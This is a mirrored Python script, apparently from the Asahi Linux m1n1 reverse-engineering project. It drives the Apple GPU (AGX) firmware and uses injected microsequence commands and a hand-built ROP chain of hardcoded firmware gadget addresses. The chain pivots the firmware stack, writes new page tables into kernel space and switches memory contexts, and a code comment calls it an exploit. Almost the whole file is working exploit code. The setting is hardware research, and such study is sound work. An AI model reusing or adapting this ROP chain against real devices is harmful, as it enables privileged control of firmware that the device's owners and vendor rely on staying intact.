mirror of
https://github.com/AsahiLinux/m1n1
synced 2024-12-18 17:53:10 +00:00
417 lines
12 KiB
Python
417 lines
12 KiB
Python
|
#!/usr/bin/env python3
|
||
|
# SPDX-License-Identifier: MIT
|
||
|
|
||
|
import sys, pathlib, time
|
||
|
sys.path.append(str(pathlib.Path(__file__).resolve().parents[1]))
|
||
|
|
||
|
import atexit, sys
|
||
|
|
||
|
from m1n1.agx import AGX
|
||
|
from m1n1.agx.render import *
|
||
|
from m1n1.fw.agx.microsequence import *
|
||
|
from construct import *
|
||
|
|
||
|
from m1n1.setup import *
|
||
|
from m1n1 import asm
|
||
|
|
||
|
p.pmgr_adt_clocks_enable("/arm-io/gfx-asc")
|
||
|
p.pmgr_adt_clocks_enable("/arm-io/sgx")
|
||
|
|
||
|
agx = AGX(u)
|
||
|
agx.mon = mon
|
||
|
sgx = agx.sgx_dev
|
||
|
|
||
|
def magic(renderer, work, ms):
|
||
|
work.scratch = agx.kobj.new_buf(0x4000, name="scratch", track=True)
|
||
|
|
||
|
# dump GXF area
|
||
|
#for i in range(0, 0x200, 8):
|
||
|
#ms.append(Read64Cmd(0xffffff8000068000 + i))
|
||
|
#ms.append(Store64Cmd(work.scratch._addr + i))
|
||
|
#return
|
||
|
|
||
|
gbl_cur_cmd_state = 0xffffff80000744b0
|
||
|
|
||
|
v_gptbat_base = 0xffffff800004d06b
|
||
|
v_kpt_pfn = 0xffffff80000680b0
|
||
|
|
||
|
g_epilogue = 0xffffff8000021ec0
|
||
|
|
||
|
sp = 0xffffff80000baab0 + 0x1c0
|
||
|
v_lr = sp + 0x58
|
||
|
v_x26 = sp + 0x10
|
||
|
v_x23 = sp + 0x28
|
||
|
v_x22 = sp + 0x30
|
||
|
v_x21 = sp + 0x38
|
||
|
|
||
|
g_stack_pivot = 0xffffff8000006640
|
||
|
#0xffffff8000006640 : mov sp, x2 ; movz x0, #0x1 ; ret
|
||
|
|
||
|
g_calltwo = 0xffffff8000045e24
|
||
|
# 0xffffff8000045e24 :
|
||
|
# ldr x8, [x22] ; ldr x8, [x8] ; mov x0, x22 ; movz w1, #0x5 ; mov x2, x23 ; mov x3, #0x0 ; blr x8 ;
|
||
|
g_callone = 0xffffff8000045e3c
|
||
|
# ldr x8, [x21, #0x70] ; cbz x8, #0xffffff8000045e4c ; mov x0, x26 ; blr x8
|
||
|
# mov x0, x23 ;
|
||
|
# ldp x29, x30, [sp, #0x80] ;
|
||
|
# ldp x20, x19, [sp, #0x70] ;
|
||
|
# ldp x22, x21, [sp, #0x60] ;
|
||
|
# ldp x24, x23, [sp, #0x50] ;
|
||
|
# ldp x26, x25, [sp, #0x40] ;
|
||
|
# ldp x28, x27, [sp, #0x30] ;
|
||
|
# ldp d9, d8, [sp, #0x20] ;
|
||
|
# add sp, sp, #0x90 ; ret
|
||
|
|
||
|
g_store = 0xffffff800003b310
|
||
|
# 0xffffff800003b310 : str x0, [x23, #0xa78] ; ldp x29, x30, [sp, #0x40] ; ldp x20, x19, [sp, #0x30] ; ldp x22, x21, [sp, #0x20] ; ldp x24, x23, [sp, #0x10] ; ldp x26, x25, [sp], #0x50 ; ret
|
||
|
|
||
|
g_mmu_gxf_enter = 0xffffff8000006650
|
||
|
|
||
|
ROP_SIZE = 0x400
|
||
|
|
||
|
rbuf = agx.kobj.new(Array(ROP_SIZE, Int64ul), name="ROP", track=True)
|
||
|
p_rop = rbuf._addr
|
||
|
|
||
|
rop = []
|
||
|
|
||
|
def r(i):
|
||
|
p = p_rop + len(rop) * 8
|
||
|
rop.append(i)
|
||
|
return p
|
||
|
|
||
|
def e(v):
|
||
|
p = p_rop + len(rop) * 8
|
||
|
rop.extend(v)
|
||
|
return p
|
||
|
|
||
|
tmp_cmdbuf = r(0)
|
||
|
pg_stack_pivot = r(g_stack_pivot)
|
||
|
ppg_stack_pivot = r(pg_stack_pivot)
|
||
|
pg_store = r(g_store)
|
||
|
pg_epilogue = r(g_epilogue)
|
||
|
pg_mmu_gxf_enter = r(g_mmu_gxf_enter)
|
||
|
|
||
|
v_ttbrs = 0xffffff8001000000
|
||
|
v_ttbr1_63 = v_ttbrs + 63 * 16
|
||
|
|
||
|
gxf_map_args = e([
|
||
|
v_ttbrs >> 14, # va
|
||
|
0, # pa
|
||
|
1, # size
|
||
|
0x41b, # EL1 RW Shared
|
||
|
0, # unk
|
||
|
])
|
||
|
|
||
|
gxf_map_op = e([
|
||
|
0x10, # map
|
||
|
gxf_map_args
|
||
|
])
|
||
|
|
||
|
gxf_switch_args = e([
|
||
|
63 << 32, # context ID
|
||
|
])
|
||
|
|
||
|
gxf_switch_op = e([
|
||
|
0x20, # switch
|
||
|
gxf_switch_args
|
||
|
])
|
||
|
|
||
|
if len(rop) & 1:
|
||
|
r(0)
|
||
|
|
||
|
# Low leaf PT for firmware
|
||
|
v_kpt0 = 0xffffff8001fc8000
|
||
|
# New page tables (AGX heap scratch)
|
||
|
# Actually make this the TTBR page lol
|
||
|
v_new_pt = 0xffffff80000b4000
|
||
|
|
||
|
new_sp = e([
|
||
|
# Set the TTBR1 for context 63
|
||
|
# Coming from g_calltwo
|
||
|
0x0aaaaaaaaa000006,
|
||
|
0x0aaaaaaaaa000007,
|
||
|
0x0aaaaaaaaa000008,
|
||
|
0x0aaaaaaaaa000009,
|
||
|
0x0aaaaaaaaa00000a,
|
||
|
0x0aaaaaaaaa00000b,
|
||
|
0x0bbbbbbbbb000028, # x28
|
||
|
0x0bbbbbbbbb000027, # x27
|
||
|
])
|
||
|
new_ttbr = e([
|
||
|
0x1bbbbbbbbb000026, # x26 = x0 = value
|
||
|
0x1bbbbbbbbb000025, # x25
|
||
|
0x1bbbbbbbbb000024, # x24
|
||
|
v_ttbr1_63 - 0xa78, # x23 = addr
|
||
|
0x1bbbbbbbbb000022, # x22
|
||
|
pg_store - 0x70, # x21 = func
|
||
|
0x1bbbbbbbbb000020, # x20
|
||
|
0x1bbbbbbbbb000019, # x19
|
||
|
0x1bbbbbbbbb000029, # x29
|
||
|
g_callone, # lr
|
||
|
|
||
|
# Switch to context 63
|
||
|
# Coming from g_store
|
||
|
gxf_switch_op, # x26 = x0 = op
|
||
|
0x2bbbbbbbbb000025, # x25
|
||
|
0x2bbbbbbbbb000024, # x24
|
||
|
0x2bbbbbbbbb000023, # x23
|
||
|
0x2bbbbbbbbb000022, # x22
|
||
|
pg_mmu_gxf_enter - 0x70, # x21 = func
|
||
|
0x2bbbbbbbbb000020, # x20
|
||
|
0x2bbbbbbbbb000019, # x19
|
||
|
0x2bbbbbbbbb000029, # x29
|
||
|
g_callone, # lr
|
||
|
|
||
|
# Install our page table in the kernel space
|
||
|
# Coming from g_callone
|
||
|
0x3aaaaaaaaa000006,
|
||
|
0x3aaaaaaaaa000007,
|
||
|
0x3aaaaaaaaa000008,
|
||
|
0x3aaaaaaaaa000009,
|
||
|
0x3aaaaaaaaa00000a,
|
||
|
0xaaaaaaaaaa00000b,
|
||
|
0x3bbbbbbbbb000028, # x28
|
||
|
0x3bbbbbbbbb000027, # x27
|
||
|
])
|
||
|
ktp_pte_val = e([
|
||
|
0x3bbbbbbbbb000026, # x26 = x0 = value
|
||
|
0x3bbbbbbbbb000025, # x25
|
||
|
0x3bbbbbbbbb000024, # x24
|
||
|
])
|
||
|
kpt_pte_addr = e([
|
||
|
0x3bbbbbbbbb000023, # x23 = addr
|
||
|
0x3bbbbbbbbb000022, # x22
|
||
|
pg_store - 0x70, # x21 = func
|
||
|
0x3bbbbbbbbb000020, # x20
|
||
|
0x3bbbbbbbbb000019, # x19
|
||
|
0x3bbbbbbbbb000029, # x29
|
||
|
g_callone, # lr
|
||
|
])
|
||
|
def restore_reg(p):
|
||
|
return e([
|
||
|
# Restore x21
|
||
|
# Coming from g_store
|
||
|
0x4bbbbbbbbb000026, # x26 = x0 = value
|
||
|
0x4bbbbbbbbb000025, # x25
|
||
|
0x4bbbbbbbbb000024, # x24
|
||
|
p - 0xa78, # x23 = addr
|
||
|
0x4bbbbbbbbb000022, # x22
|
||
|
pg_store - 0x70, # x21 = function
|
||
|
0x4bbbbbbbbb000020, # x20
|
||
|
0x4bbbbbbbbb000019, # x19
|
||
|
0x4bbbbbbbbb000029, # x29
|
||
|
g_callone, # lr
|
||
|
])
|
||
|
|
||
|
save_x21 = restore_reg(v_x21)
|
||
|
save_x22 = restore_reg(v_x22)
|
||
|
save_x23 = restore_reg(v_x23)
|
||
|
save_x26 = restore_reg(v_x26)
|
||
|
save_lr = restore_reg(v_lr)
|
||
|
|
||
|
e([
|
||
|
# Return to original stack
|
||
|
# Coming from g_store
|
||
|
0, # x26 = r0 = ret
|
||
|
0x5bbbbbbbbb000025, # x25
|
||
|
0x5bbbbbbbbb000024, # x24
|
||
|
sp, # x23 = new sp
|
||
|
ppg_stack_pivot, # x22 = 1st function
|
||
|
pg_epilogue - 0x70, # x21 = 2nd function
|
||
|
0x5bbbbbbbbb000020, # x20
|
||
|
0x5bbbbbbbbb000019, # x19
|
||
|
0x5bbbbbbbbb000029, # x29
|
||
|
g_calltwo, # lr
|
||
|
])
|
||
|
print(f"ROP len: {len(rop)*8:#x}")
|
||
|
|
||
|
rbuf.val = rop + [0] * (ROP_SIZE - len(rop))
|
||
|
rbuf.push()
|
||
|
|
||
|
# Calculate pfn of the ttbr base
|
||
|
vpg_ttbrs = gxf_map_args + 8
|
||
|
ms.append(Read64Cmd(v_gptbat_base))
|
||
|
ms.append(ALUCmd(ALUCmd.LSR, 14))
|
||
|
ms.append(Store64Cmd(vpg_ttbrs))
|
||
|
|
||
|
# Calculate physaddr of the kpte to overwrite
|
||
|
ms.append(Read64Cmd(v_kpt_pfn))
|
||
|
ms.append(ALUCmd(ALUCmd.LSL, 14))
|
||
|
ms.append(ALUCmd(ALUCmd.XOR, 0xffffffffffffffff))
|
||
|
ms.append(Add16Cmd(0xa78 - 8 * 4))
|
||
|
ms.append(ALUCmd(ALUCmd.XOR, 0xffffffffffffffff))
|
||
|
ms.append(Store64Cmd(kpt_pte_addr))
|
||
|
|
||
|
# Read the page tables to find the paddr of our new PT,
|
||
|
# and generate the PTE and TTBR
|
||
|
# pt[0] -> self reference L1 -> L2
|
||
|
ms.append(Read64Cmd(v_kpt0 + ((v_new_pt >> 14) & 0x7ff) * 8))
|
||
|
ms.append(ALUCmd(ALUCmd.AND, 0xfffffffc000))
|
||
|
ms.append(ALUCmd(ALUCmd.OR, 1))
|
||
|
ms.append(Store64Cmd(new_ttbr))
|
||
|
ms.append(ALUCmd(ALUCmd.OR, 2))
|
||
|
ms.append(Store64Cmd(ktp_pte_val))
|
||
|
ms.append(Store64Cmd(v_new_pt))
|
||
|
|
||
|
# Map physical 32M pages at 0, 32M, 8G-32, 16G-32
|
||
|
# This should be enough to make the exploit work regardless of RAM size,
|
||
|
# the shader can map the rest
|
||
|
for page in (0, 1, 255, 511):
|
||
|
# pt[0x400+x] -> 0x800000000 + (x<<25)
|
||
|
ms.append(Write64Cmd(v_new_pt + 0x2000 + 8 * page, 0xe0000800000409 | (page<<25)))
|
||
|
|
||
|
# Save the stack values we will clobber,
|
||
|
# and construct the new ttbr0 PT
|
||
|
for src, dest in (
|
||
|
(v_lr, save_lr),
|
||
|
(v_x21, save_x21),
|
||
|
(v_x22, save_x22),
|
||
|
(v_x23, save_x23),
|
||
|
(v_x26, save_x26),
|
||
|
):
|
||
|
ms.append(Read64Cmd(src))
|
||
|
ms.append(Store64Cmd(dest))
|
||
|
|
||
|
# Set up our initial ROP pivot (GXF map TTBRs)
|
||
|
ms.append(Write64Cmd(v_x21, pg_mmu_gxf_enter - 0x70))
|
||
|
ms.append(Write64Cmd(v_x22, ppg_stack_pivot))
|
||
|
ms.append(Write64Cmd(v_x23, new_sp))
|
||
|
ms.append(Write64Cmd(v_x26, gxf_map_op))
|
||
|
ms.append(Write64Cmd(v_lr, g_calltwo))
|
||
|
|
||
|
# Figure out the stamp addr/val to complete the current command
|
||
|
ms.append(Read64Cmd(gbl_cur_cmd_state))
|
||
|
ms.append(Add16Cmd(0x10))
|
||
|
store_cmd_buf = Store64Cmd(0)
|
||
|
ms.append(store_cmd_buf)
|
||
|
|
||
|
store_cmd_buf.addr = ms.cur_addr() + Read64Cmd.offsetof("addr")
|
||
|
ms.append(Read64Cmd(0))
|
||
|
ms.append(ALUCmd(ALUCmd.AND, 0xffffffffffffffe0))
|
||
|
ms.append(Store64Cmd(tmp_cmdbuf))
|
||
|
|
||
|
off_3d_stamp_addr = 0x8d8
|
||
|
off_3d_stamp_value = 0x8e0
|
||
|
off_3d_stamp_index = 0x8e4
|
||
|
|
||
|
off_ta_stamp_addr = 0x578
|
||
|
off_ta_stamp_value = 0x580
|
||
|
off_ta_stamp_index = 0x584
|
||
|
|
||
|
ms.append(Add16Cmd(off_ta_stamp_addr))
|
||
|
store = Store64Cmd(0)
|
||
|
ms.append(store)
|
||
|
store.addr = ms.cur_addr() + Read64Cmd.offsetof("addr")
|
||
|
ms.append(Read64Cmd(0))
|
||
|
store_stamp_addr = Store64Cmd(0)
|
||
|
ms.append(store_stamp_addr)
|
||
|
|
||
|
ms.append(Read64Cmd(tmp_cmdbuf))
|
||
|
ms.append(Add16Cmd(off_ta_stamp_value))
|
||
|
store = Store64Cmd(0)
|
||
|
ms.append(store)
|
||
|
store.addr = ms.cur_addr() + Read32Cmd.offsetof("addr")
|
||
|
ms.append(Read32Cmd(0))
|
||
|
store_stamp_val = Store64Cmd(0)
|
||
|
ms.append(store_stamp_val)
|
||
|
|
||
|
ms.append(DoorbellCmd(1))
|
||
|
|
||
|
off = ms.cur_addr()
|
||
|
store_stamp_addr.addr = off + CompleteCmd.offsetof("stamp_addr")
|
||
|
store_stamp_val.addr = off + CompleteCmd.offsetof("stamp_val")
|
||
|
cmd = CompleteCmd()
|
||
|
cmd.stamp_addr = 0
|
||
|
cmd.stamp_val = 0
|
||
|
ms.append(cmd)
|
||
|
|
||
|
#off = ms.cur_addr()
|
||
|
#store_stamp_addr.addr = off + AbortCmd.offsetof("stamp_addr")
|
||
|
#store_stamp_val.addr = off + AbortCmd.offsetof("stamp_val")
|
||
|
#cmd = AbortCmd()
|
||
|
#cmd.stamp_addr = 0
|
||
|
#cmd.stamp_val = 0
|
||
|
#ms.append(cmd)
|
||
|
|
||
|
ms.append(Write64Cmd(0xdead, 0))
|
||
|
|
||
|
try:
|
||
|
agx.start()
|
||
|
#agx.uat.dump(0)
|
||
|
|
||
|
print("==========================================")
|
||
|
print("## After init")
|
||
|
print("==========================================")
|
||
|
mon.poll()
|
||
|
agx.poll_objects()
|
||
|
|
||
|
ctx = GPUContext(agx)
|
||
|
ctx.bind(2)
|
||
|
|
||
|
f = GPUFrame(ctx, sys.argv[1], track=False)
|
||
|
|
||
|
r = GPURenderer(ctx, 8, bm_slot=0x10, queue=1)
|
||
|
print("==========================================")
|
||
|
print("## Submitting")
|
||
|
print("==========================================")
|
||
|
|
||
|
r.mshook_ta = magic
|
||
|
|
||
|
w = r.submit(f.cmdbuf)
|
||
|
|
||
|
print("==========================================")
|
||
|
print("## Submitted")
|
||
|
print("==========================================")
|
||
|
|
||
|
mon.poll()
|
||
|
agx.poll_objects()
|
||
|
|
||
|
print("==========================================")
|
||
|
print("## Run")
|
||
|
print("==========================================")
|
||
|
|
||
|
r.run()
|
||
|
|
||
|
while not r.ev_ta.fired:
|
||
|
agx.asc.work()
|
||
|
agx.poll_channels()
|
||
|
|
||
|
#r.wait()
|
||
|
agx.poll_objects()
|
||
|
|
||
|
print("==========================================")
|
||
|
print("## Scratch")
|
||
|
print("==========================================")
|
||
|
#chexdump(w.scratch.pull().val)
|
||
|
#print(hex(w.scratch.pull().val))
|
||
|
#open("68000.dump", "wb").write(w.scratch.pull().val)
|
||
|
|
||
|
time.sleep(1)
|
||
|
agx.poll_channels()
|
||
|
agx.kick_firmware()
|
||
|
agx.asc.work()
|
||
|
agx.asc.work()
|
||
|
agx.poll_channels()
|
||
|
#agx.asc.crash.crash_hard()
|
||
|
#agx.poll_channels()
|
||
|
time.sleep(1)
|
||
|
agx.poll_channels()
|
||
|
agx.asc.work()
|
||
|
agx.asc.work()
|
||
|
agx.poll_channels()
|
||
|
|
||
|
w = r.submit(f.cmdbuf)
|
||
|
r.run()
|
||
|
time.sleep(1)
|
||
|
agx.poll_channels()
|
||
|
|
||
|
finally:
|
||
|
mon.poll()
|
||
|
agx.poll_objects()
|
||
|
agx.uat.invalidate_cache()
|
||
|
print(repr(agx.uat.iotranslate(0, 0xffffff8001000000, 0x10)))
|
||
|
#print("UAT dump:")
|
||
|
#agx.uat.dump(0)
|
||
|
#print(f"Val: {p.read64(0x810000000):#x}")
|
||
|
p.reboot()
|